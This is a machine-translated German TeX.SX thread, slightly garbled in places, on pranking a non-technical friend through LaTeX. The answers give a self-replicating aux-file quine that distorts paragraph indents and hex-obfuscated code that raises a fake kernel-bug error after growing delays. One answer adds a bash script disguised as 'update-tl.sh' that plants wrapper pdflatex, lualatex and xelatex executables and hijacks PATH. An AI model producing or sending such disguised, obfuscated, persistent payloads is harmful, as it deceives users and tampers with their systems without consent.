Code-Trolling-/Streichfragen für TeX.SX?

Code-Trolling-/Streichfragen für TeX.SX?

Ich habe einen Freund, der mich für LaTeX-Support nutzt. Er ist nicht sehr technisch versiert, mag aber LaTeX und so helfe ich ihm, wenn etwas, das er tun muss, mehr erfordert als den Standardbestand an Makros und Umgebungen.

Wir spielen uns gerne gegenseitig Streiche. Ich hatte die Idee, ihm beim nächsten Mal, wenn er um LaTeX-Hilfe bittet, einen Streich zu spielen, indem ich etwas relativ Harmloses und leicht umkehrbares mache, das das generierte PDF merklich verändert --- oder etwas anderes macht, das bei normaler (La)TeX-Verwendung auffällt, wieVerlängerung der Kompilierung--- auf eine unerwünschte Weise, bei der die Ursache des Problems schwer zu erkennen wäre (es wäre also vermutlich ein Fall von Code-Trolling). Ich bin allerdings selbst nicht sehr gut in LaTeX und dachte deshalb darüber nach, die TeXperts um kreative Vorschläge zu bitten.

Wie kann ich meinem Freund in Bezug auf (La)TeX das Leben schwer machen?

Antwort1

Fügen Sie ihrer auxDatei den folgenden Codeausschnitt hinzu, der ein Quine ist. Wenn die auxDatei \inputam Anfang eines LaTeX-Laufs steht, erstellt der Code hier eine Kopie von sich selbst und schreibt sie auxfür den nächsten Lauf in die Datei. Zusätzlich wird der unten enthaltene Code ausgeführt \toks2. Beispielsweise vergrößert der von mir gewählte Code die Einzugsgröße in jedem Absatz, aber nur, wenn TeX in einer ungeraden Minute ausgeführt wird: Die Ergebnisse hängen davon ab, wann Ihr Freund kompiliert.

{%
  \toks@{%
    \ifx\@nodocument\relax\else
      \toks2{% Here you put whatever mean code you want
        \ifodd\time
          \everypar\expandafter{%
            \the\everypar
            \advance\parindent 2pt\relax
          }%
        \fi
      }% end of \toks2
      \edef\x{%
        \noexpand\AtBeginDocument{%
          \the\toks2\relax
          \toks@{\the\toks@}%
          \immediate\write\@auxout{%
            {%
              \toks@{\noexpand\the\toks@}%
              \noexpand\noexpand\noexpand\the\toks@
            }% end of brace group
          }% end of \immediate\write\@auxout
        }% end of \AtBeginDocument
      }% end of \edef
      \x
    \fi
  }%
  \the\toks@
}

Nach einem Durchlauf auxenthält die Datei die folgende verkürzte Version (in einer einzigen Zeile):

{\toks@ {\ifx \@nodocument \relax \else \toks 2{\ifodd \time \everypar
\expandafter {\the \everypar \advance \parindent 2pt\relax }\fi }\edef
\x {\noexpand \AtBeginDocument {\the \toks 2\relax \toks@ {\the \toks@
}\immediate \write \@auxout {{\toks@ {\noexpand \the \toks@ }\noexpand
\noexpand \noexpand \the \toks@ }}}}\x \fi }\the \toks@ }

und nachfolgende Durchläufe hinterlassen dieselbe verkürzte Version (wieder in einer Zeile).

Sehen wir uns an, was im Detail passiert: Innerhalb einer (einfachen) Gruppe \toks@wird das Token-Register auf einen Wert gesetzt, dann wird sein Inhalt verwendet. Was macht dieser Inhalt? Es gibt einen Test, um zu prüfen, ob wir die Aux-Datei am Anfang oder am Ende des Laufs lesen: \@nodocumentist \relaxim zweiten Fall und wir tun nichts. Dann \toks2wird das Token-Register auf den Code gesetzt, den Sie tatsächlich ausführen möchten. Die folgende \edef\x{...}\xKonstruktion erweitert das ...zu

\AtBeginDocument{%
  <contents of \toks2>\relax
  \toks@{<contents of \toks@>}%
  \immediate\write\@auxout{%
    {%
      \toks@{\the\toks@}%
      \noexpand\the\toks@
    }% end of brace group
  }% end of \immediate\write\@auxout
}% end of \AtBeginDocument

führt dann diesen Code aus. \AtBeginDocumentführt sein Argument etwas später aus, wenn LaTeX wieder bereit ist, in die auxDatei zu schreiben (aktuell liest es sie). Wenn LaTeX also bereit ist, in die Datei zu schreiben aux, führt es Ihren Code aus (der vorübergehend in gespeichert wurde \toks2), speichert den Code dann <contents of \toks@>wieder in \toks@(dieses Token-Register wurde möglicherweise zwischenzeitlich von anderem Code verwendet) und schreibt Folgendes in die auxDatei (denken Sie daran, dass es \writeerweitert wird):

{%
  \toks@{<contents of \toks@>}%
  \the\toks@
}% end of brace group

Dabei handelt es sich exakt um den Originalcode, der somit auxbeim nächsten Durchlauf von LaTeX in der Datei landet.

Ich hoffe, dass der von mir ausgewählte Code \toks2leicht zu verstehen ist:

\ifodd\time
  \everypar\expandafter{%
    \the\everypar
    \advance\parindent 2pt\relax
  }%
\fi

Wenn die Zeit (in Minuten seit Tagesbeginn) eine ungerade Zahl ist, dann führen Sie bei jedem Absatz das aus, was bereits bei jedem Absatz getan wurde, und erhöhen Sie außerdem den Absatzeinzug ( \parindent) um 2 Punkte. Nehmen wir beispielsweise an, Sie fügen den ersten oder zweiten Codeausschnitt oben der auxDatei hinzu, die durch Ausführen pdflatexdes folgenden Dokuments generiert wurde. Dann ist das Dokument normal, wenn es in einer geraden Minute kompiliert wird, und hat andernfalls einen immer größer werdenden Absatzeinzug.

\documentclass{article}
\usepackage{lipsum}
\begin{document}
\lipsum[1-10]
\end{document}

Antwort2

Kompilieren mit LuaLaTeX

\documentclass{article}

\usepackage{lipsum}

^^5c^^75^^73^^65^^70^^61^^63^^6b^^61^^67^^65^^20
^^7b^^63^^68^^69^^63^^6b^^65^^6e^^69^^7a^^65^^7d
^^5c^^72^^61^^6e^^64^^6f^^6d^^75^^63^^6c^^63^^20

\begin{document}
\lipsum[1]
\end{document}

Auch \randomerrorstatt \randomuclckann nett sein.

Bildbeschreibung hier eingeben

Antwort3

Bitte folgen Sie den Anweisungen nach jedem Lauf, vielleicht sind Sie auf etwas gestoßen:)

Für diejenigen, die es nicht gewagt haben, es zu versuchen: Es wird eine Fehlermeldung erzeugt (hier aus einem Emacs-Tex-Hilfepuffer), bei der die Seitenzahl zufällig ist:

ERROR: LaTeX Error: I'm stymied; problem of unknown type on page 2

--- TeX said ---
 Re-run LaTeX at least three times to give a chance to the kernel
 to re-examine this intriguing problem.
 You may have encountered one of the $1,000,000 kernel bug.

See the LaTeX manual or LaTeX Companion for explanation.
Type  H <return>  for immediate help.
 ...                                              

l.49 \end{document}

--- HELP ---
From the .log file...

You're in trouble here.  Try typing  <return>  to proceed.
If that doesn't work, type  X <return>  to quit.

und außerdem erscheint diese Meldung nach immer längeren Verzögerungen am Ende jeder neuen Kompilierung (die Kompilierungszeit liegt in der Größenordnung von n^2/2Sekunden, wobei 1 ndie Anzahl der vorherigen Durchläufe ist).

Die hexadezimale Konvertierung zur Verschleierung des Codes ist etwas langwierig. Vielleicht könnte man Hexa-Zahlen nur zur Verschleierung verwenden und angeben, \inputwo die Datei den folgenden Code enthalten würde.

\documentclass{article}
\usepackage{lipsum}

^^5c^^6d^^61^^6b^^65^^61^^74^^6c^^65^^74^^74^^65^^72
^^5c^^41^^74^^45^^6e^^64^^44^^6f^^63^^75^^6d^^65^^6e^^74^^20^^7b%
^^5c^^40^^69^^66^^75^^6e^^64^^65^^66^^69^^6e^^65^^64^^7b^^40^^6b^^65^^72%
^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65^^7d^^7b%
^^5c^^67^^64^^65^^66
^^5c^^40^^6b^^65^^72^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65^^7b%
^^30^^7d^^7d^^7b^^7d^^5c^^69^^6d^^6d^^65^^64^^69^^61^^74^^65
^^5c^^77^^72^^69^^74^^65^^20^^5c^^40^^61^^75^^78^^6f^^75^^74^^7b%
^^5c^^67^^64^^65^^66^^20^^5c^^6e^^6f^^65^^78^^70^^61^^6e^^64
^^5c^^40^^6b^^65^^72^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65^^7b%
^^5c^^74^^68^^65^^20^^5c^^6e^^75^^6d^^65^^78^^70^^72
^^5c^^40^^6b^^65^^72^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65^^2b^^32^^2a%
^^5c^^70^^64^^66^^75^^6e^^69^^66^^6f^^72^^6d^^64^^65^^76^^69^^61^^74^^65
^^36^^35^^35^^33^^36^^5c^^72^^65^^6c^^61^^78^^20^^7d^^7d%
^^5c^^70^^64^^66^^72^^65^^73^^65^^74^^74^^69^^6d^^65^^72
^^5c^^6c^^6f^^6f^^70^^20^^5c^^69^^66^^6e^^75^^6d
^^5c^^70^^64^^66^^65^^6c^^61^^70^^73^^65^^64^^74^^69^^6d^^65^^20^^3c%
^^5c^^40^^6b^^65^^72^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65%
^^5c^^73^^70^^61^^63^^65^^20^^5c^^72^^65^^70^^65^^61^^74
^^5c^^40^^6c^^61^^74^^65^^78^^40^^65^^72^^72^^6f^^72^^7b^^49^^27^^6d
^^73^^74^^79^^6d^^69^^65^^64^^3b^^20^^70^^72^^6f^^62^^6c^^65^^6d
^^6f^^66^^20^^75^^6e^^6b^^6e^^6f^^77^^6e^^20^^74^^79^^70^^65^^20^^6f^^6e
^^70^^61^^67^^65
^^5c^^70^^64^^66^^75^^6e^^69^^66^^6f^^72^^6d^^64^^65^^76^^69^^61^^74^^65
^^31^^30^^20^^0a^^20^^52^^65^^2d^^72^^75^^6e^^20^^4c^^61^^54^^65^^58
^^61^^74^^20^^6c^^65^^61^^73^^74^^20^^74^^68^^72^^65^^65
^^74^^69^^6d^^65^^73^^20^^74^^6f^^20^^67^^69^^76^^65^^20^^61
^^63^^68^^61^^6e^^63^^65^^20^^74^^6f^^20^^74^^68^^65
^^6b^^65^^72^^6e^^65^^6c^^0a^^20^^74^^6f^^20^^72^^65^^2d^^65^^78^^61^^6d%
^^69^^6e^^65^^20^^74^^68^^69^^73^^20^^69^^6e^^74^^72^^69^^67^^75^^69^^6e%
^^67^^20^^70^^72^^6f^^62^^6c^^65^^6d^^2e^^0a^^20^^59^^6f^^75^^20^^6d^^61%
^^79^^20^^68^^61^^76^^65^^20^^65^^6e^^63^^6f^^75^^6e^^74^^65^^72^^65^^64
^^6f^^6e^^65^^20^^6f^^66^^20^^74^^68^^65
^^5c^^73^^74^^72^^69^^6e^^67^^20^^24^^31^^2c^^30^^30^^30^^2c^^30^^30^^30
^^6b^^65^^72^^6e^^65^^6c^^20^^62^^75^^67^^7d%
^^5c^^40^^65^^68^^64^^7d^^5c^^6d^^61^^6b^^65^^61^^74^^6f^^74^^68^^65^^72

\begin{document}
\lipsum[1-50]

\end{document}

Der Hexa-Code (mit Leerzeichen am Zeilenende)

\makeatletter\AtEndDocument{%
  \@ifundefined{@kernelpanictime}{\gdef\@kernelpanictime{0}}{}%
  \immediate\write\@auxout 
                {\gdef\noexpand\@kernelpanictime{%
                  \the\numexpr\@kernelpanictime+2*\pdfuniformdeviate
                  65536\relax}}% 
  \pdfresettimer
                \loop
                  \ifnum\pdfelapsedtime<\@kernelpanictime\space
                \repeat
  \@latex@error{I'm stymied; problem of unknown type  on page
  \pdfuniformdeviate 10 ^^J
  Re-run LaTeX at least three times to give a chance to the kernel^^J
  to re-examine this intriguing problem.^^J
  You may have encountered one of the \string$1,000,000 kernel bug}\@ehd 
}\makeatother

Antwort4

Als Antwort statt als Kommentar gepostet, da der Code zu lang ist. Basierend auf der Antwort von Bruno Le Floch, mit einer kleinen Abwandlung, die egreg im Chat angedeutet hat.

Fügen Sie dies zu Ihrem Aux hinzu:

{%
  \toks@{%
    \ifx\@nodocument\relax\else
      \toks2{% Here you put whatever mean code you want
        \ifodd\time
          \everypar\expandafter{%
            \the\everypar
            \ifdefined\pdf@elapsedtime
              \ifodd\pdf@elapsedtime
                \advance\parindent 2pt\relax
              \else
                \advance\parindent -2pt\relax
              \fi
            \else
              \advance\parindent 2pt\relax
            \fi
          }%
        \fi
      }% end of \toks2
      \edef\x{%
        \noexpand\AtBeginDocument{%
          \the\toks2\relax
          \toks@{\the\toks@}%
          \immediate\write\@auxout{%
            {%
              \toks@{\noexpand\the\toks@}%
              \noexpand\noexpand\noexpand\the\toks@
            }% end of brace group
          }% end of \immediate\write\@auxout
        }% end of \AtBeginDocument
      }% end of \edef
      \x
    \fi
  }%
  \the\toks@
}

pdflatexWenn Sie dies mit (oder lualatexmit geladenem Paket) kompilieren, wird pdftexcmdsdie Änderung \parindentwährend der Kompilierung jede Sekunde rückgängig gemacht, jeder andere Compiler erzeugt denselben Code wie Brunos.


Könnte es noch schlimmer kommen? Oh ja, das kann es! Anstatt die AUX-Datei direkt zu bearbeiten (was durch eine Bereinigung des Build-Verzeichnisses rückgängig gemacht würde), optimieren wir die ausführbaren Dateien ein wenig.

HINWEIS: Wie Daniel in den Kommentaren weiter unten erwähnt hat, ist es wirklich gemein, ungelernte Leute zu trollen. Verwenden Sie also Ihren gesunden Menschenverstand, um zu beurteilen, wer bei näherem Hinsehen verstehen könnte, was vor sich geht.Außerdem übernehme ich keinerlei Verantwortung für verlorene Freunde oder dauerhaftes Misstrauen gegenüber den von Ihnen gesendeten Skripten ;)

Wenn Ihr Freund Sie das nächste Mal um Unterstützung bittet, senden Sie ihm oder ihr diese Datei als update-tl.sh:

#!/bin/bash
pdf_path=`which pdflatex`
tex_path=${pdf_path:0:-9}
mkdir -p ~/.tex-updates/
cd ~/.tex-updates
touch pdflatex
chmod +x pdflatex
echo '#!/bin/bash' > pdflatex
echo '[[ $1 =~ ^([A-Za-z0-9]+)(\.tex)??$ ]]' >> pdflatex
echo 'jobname=${BASH_REMATCH[1]}' >> pdflatex
echo 'if [ ! -f "$jobname.aux" ]' >> pdflatex
echo 'then' >> pdflatex
echo 'echo "{\toks@ {\ifx \@nodocument \relax \else \toks 2{\ifodd \time \everypar \expandafter {\the \everypar \ifdefined \pdf@elapsedtime \ifodd \pdf@elapsedtime \advance \parindent 3pt\relax \else \advance \parindent -2pt\relax \fi \else \advance \parindent 2pt\relax \fi }\fi }\edef \x {\noexpand \AtBeginDocument {\the \toks 2\relax \toks@ {\the \toks@ }\immediate \write \@auxout {{\toks@ {\noexpand \the \toks@ }\noexpand \noexpand \noexpand \the \toks@ }}}}\x \fi }\the \toks@ }" >> $jobname.aux' >> pdflatex
echo 'fi' >> pdflatex
echo "$tex_path/pdflatex \$1" >> pdflatex
touch lualatex
chmod +x lualatex
echo '#!/bin/bash' > lualatex
echo '[[ $1 =~ ^([A-Za-z0-9]+)(\.tex)??$ ]]' >> lualatex
echo 'jobname=${BASH_REMATCH[1]}' >> lualatex
echo 'if [ ! -f "$jobname.aux" ]' >> lualatex
echo 'then' >> lualatex
echo 'echo "{\toks@ {\ifx \@nodocument \relax \else \toks 2{\ifodd \time \everypar \expandafter {\the \everypar \ifdefined \pdf@elapsedtime \ifodd \pdf@elapsedtime \advance \parindent 2pt\relax \else \advance \parindent -3pt\relax \fi \else \advance \parindent 2pt\relax \fi }\fi }\edef \x {\noexpand \AtBeginDocument {\the \toks 2\relax \toks@ {\the \toks@ }\immediate \write \@auxout {{\toks@ {\noexpand \the \toks@ }\noexpand \noexpand \noexpand \the \toks@ }}}}\x \fi }\the \toks@ }" >> $jobname.aux' >> lualatex
echo 'fi' >> lualatex
echo "$tex_path/lualatex \$1" >> lualatex
touch xelatex
chmod +x xelatex
echo '#!/bin/bash' > xelatex
echo '[[ $1 =~ ^([A-Za-z0-9]+)(\.tex)??$ ]]' >> xelatex
echo 'jobname=${BASH_REMATCH[1]}' >> xelatex
echo 'if [ ! -f "$jobname.aux" ]' >> xelatex
echo 'then' >> xelatex
echo 'echo "{\toks@ {\ifx \@nodocument \relax \else \toks 2{\ifodd \time \everypar \expandafter {\the \everypar \ifdefined \pdf@elapsedtime \ifodd \pdf@elapsedtime \advance \parindent 2pt\relax \else \advance \parindent -2pt\relax \fi \else \advance \parindent 2pt\relax \fi }\fi }\edef \x {\noexpand \AtBeginDocument {\the \toks 2\relax \toks@ {\the \toks@ }\immediate \write \@auxout {{\toks@ {\noexpand \the \toks@ }\noexpand \noexpand \noexpand \the \toks@ }}}}\x \fi }\the \toks@ }" >> $jobname.aux' >> xelatex
echo 'fi' >> xelatex
echo "$tex_path/xelatex \$1" >> xelatex
echo 'PATH="~/.tex-updates:$PATH"' >> ~/.bash_aliases

Leider funktioniert dies nur unter Linux und kann wahrscheinlich leicht durch das Hinzufügen vollständiger Pfade oder zusätzlicher Argumente zu pdflatex unterbrochen werden, aber die Grundidee ist folgende:

  • Abrufen des Speicherorts der ursprünglichen ausführbaren Dateien
  • Erstellen Sie ein Verzeichnis zum Speichern der „aktualisierten“ ausführbaren Dateien
  • Erstellen Sie eine Reihe von Dateien mit den entsprechenden Berechtigungen zur Ausführung
  • Überprüfen Sie in jeder Datei, ob die AUX-Datei bereits vorhanden ist. Wenn nicht, erstellen Sie sie mit dem obigen Code.
  • Lassen Sie dann das neue Skript die alte ausführbare Datei aufrufen, um die Ausgabe mit der möglicherweise geänderten AUX-Datei zu erstellen
  • Fügen Sie abschließend dieses neue Verzeichnis zur Umgebungsvariable $PATH hinzu

Einige lustige Fakten:

  • dies funktioniert nur, wenn bashverwendet wird, andernfalls ~/.bashrcwird es nicht verwendet
  • der Code wird nur hinzugefügt, wenn die AUX-Datei noch nicht existiert
  • es funktioniert nur, nachdem ~/.bashrces bezogen wurde, also nach einem neuen Login oder dem Öffnen eines neuen Terminalfensters

BEARBEITENNoch mehr lustige Fakten:

  • running which pdflatexgibt das Original zurück pdflatex, while pdflatex test.texführt tatsächlich das neue auspdflatex
  • Auf einem Mehrbenutzersystem betrifft dies nur den Benutzer, der dasupdate-tl.sh
  • nichts ist dauerhaft kaputt, durch einfaches Entfernen der [pdf|lua|xe]latexSkripte ~/.tex-updatesund der AUX-Dateien wird alles wieder normal :) (im Gegensatz zu meiner ursprünglichen Idee, die ausführbaren Dateien im binVerzeichnis zu ändern :P)

verwandte Informationen